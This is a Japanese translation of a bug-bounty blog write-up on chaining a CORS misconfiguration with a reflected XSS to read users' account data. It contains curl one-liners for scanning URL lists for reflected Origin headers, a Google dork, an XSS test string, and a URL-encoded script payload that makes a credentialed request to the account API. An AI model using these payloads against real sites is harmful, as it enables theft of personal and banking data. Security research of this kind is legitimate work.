「Chaining CORS by Reflected xss to Account takeover #My first Blog」からCORSとXSSを学ぶ

ソース:

notifybugme.medium.com

脆弱性:CORS、XSS

 

訳:

CORS バグを探す私のワークフローは次のとおりで。

BurpSuiteのSpiderでHostをスキャンし。

Spiderの後、Hostは全てのURLをコピーしてテキストファイルに保存します。

 

cat corstexturl.txt | CorsMe

 

OR

 

cat corstexturl.txt | soru -u | anew | xargs -n 1 -I{} curl -sk -H “Origin: test.com” | grepAccess-control-allow-origin: test.com”

 

cat corstexturl.txt | soru -u | anew |while read host do ; do curl -s — path-as-is — insecure -H “Origin: test.com” “$host” | grep -qs “Access-control-allow-origin: test.com” && echo “$host \033[0;31m” cors Vulnerable;done

 

脆弱なエンドポイント

約 1 週間前、私はこの公開バグ報奨金プログラムをハッキングしていて。
HTTP リクエストの Origin ヘッダーを試し、サーバーの応答を検査してドメインホワイトリストチェックが行われているかどうかを確認したところ、アプリケーションが、存在しないものであっても、サブドメインのみを盲目的にホワイトリストに登録していることに気付き。 

 

プライバシー上の理由と責任ある開示ポリシーのため、Web アプリケーションがwww.attacher.comでホストされていると仮定します。

この CORS の構成ミスは次のようになり。

 

HTTP Request:

GET /api/return HTTP/1.1
Host:
attacker.com
Origin:
evil.attacker.com
Connection: close

HTTP Response:

HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin:
evil.attacker.com

 

 

この API エンドポイントは、氏名、電子メール アドレス、パスワード、パスポート番号、銀行詳細などのユーザーの個人情報を返していました。

この構成ミスを悪用してユーザーの個人情報を漏洩するなどの攻撃を実行するには、放棄されたサブドメインを要求する ( サブドメインの乗っ取り) か、 既存のサブドメインの 1 つでXSSを見つける必要があり。

 

より大きな影響を与えるためにバグを連鎖させる:

そこで、2 番目のオプションとして、既存のサブドメインの 1 つで XSS を見つけることにし。

早速 Googleで調べてみたところ、test. Attacker.com と思われるサブドメインの 1 つで Reflected xss を見つけ。
これは、xssを見つけるために使用したGoogle dorkです。

 

site:*. Attacker.com -www ext:jsp

 

次に、URL を開き、ソースページで hidden 文字列と var 文字列を検索し、反映されているかどうかを確認し。

そこのサブドメインに反映された xss が見つかったら、それを悪用するのが簡単になり。

 

https://test.attacker.com/patter.jsp?acct= "><script>alert(document.domain)</script>

 

POC

したがって、この CORS の構成ミスを悪用するには、XSS ペイロード alert(document.domain) を次のコードに置き換えるだけで。

 

function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.attacker.com/api/account", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();

 

こんなかんじに。

 

https://test.attacker.com/patter.jsp?facct="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.attacker.com/api/account",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>


 

 

ほなほな。